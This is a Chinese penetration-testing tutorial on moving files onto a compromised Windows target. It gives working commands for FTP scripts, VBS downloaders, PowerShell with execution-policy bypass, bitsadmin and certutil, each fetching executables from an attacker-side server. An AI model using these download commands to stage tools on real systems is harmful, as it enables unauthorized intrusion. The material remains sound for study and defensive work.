【内网渗透】Windows下的内网传输技术

2020-06-24 00:05:17 浏览数 (1)

趁着现在不忙(才不是偷懒)赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术:

有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。

一起来看看吧!

Part.1

FTP

FTP环境部署

首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。

我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon:

创建一个用户monster/a123456:

靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。

上传与下载

ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。

例如需要下载一个hello.txt到靶机中:

写入后,靶机中会生成一个ftp.txt文件:

通过命令行执行该文件:

可以看到hello.txt文件被下载到靶机:

以上操作可以简化为:

代码语言:javascript复制
Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o

如果ftp允许匿名账号登陆,还可简化为:

代码语言:javascript复制
Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

//-A 匿名访问

如果是上传文件到ftp服务器,则使用put:

可以在ftp服务器中找到上传的文件:

Part.2

VBS

VBS

VBS是windows中基于Visual Basic的脚本语言。

利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。

首先在本地开启http服务,提供文件下载:

通过shell向靶机写入VBS代码:

详细代码如下:

代码语言:javascript复制
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs

此处靶机中会生成download.vbs,执行:

代码语言:javascript复制
Cscript download.vbs

//成功“上传”文件至靶机。

方法二:VBS一句话下载

代码语言:javascript复制
echo set a=createobject(^"adod^" ^"b.stream^"):set w=createobject(^"micro^" ^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs 
cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe

Part.3

Powershell

Powershell

Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。

代码语言:javascript复制
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');

//注意区分中逗号等英文字符。

Part.4

bitsadmin

bitsadmin

除了脚本以外,windows还有自带的两个工具:bitsadmin和certutil。

Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。

代码语言:javascript复制
bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:UsersMonsterDesktophello.txt

//123为任务号

注:经测试这种方法进行下载比其他方法慢很多。

保存路径不能写成C:/Users/Monster/Desktop/hello.txt,否则会报错:

Part.5

certutil

certutil

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

代码语言:javascript复制
certutil -urlcache -split -f http://192.168.3.1/hash.exe

但是这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存:

Part.6

结语

好啦,以上就是今天的全部内容了~

0 人点赞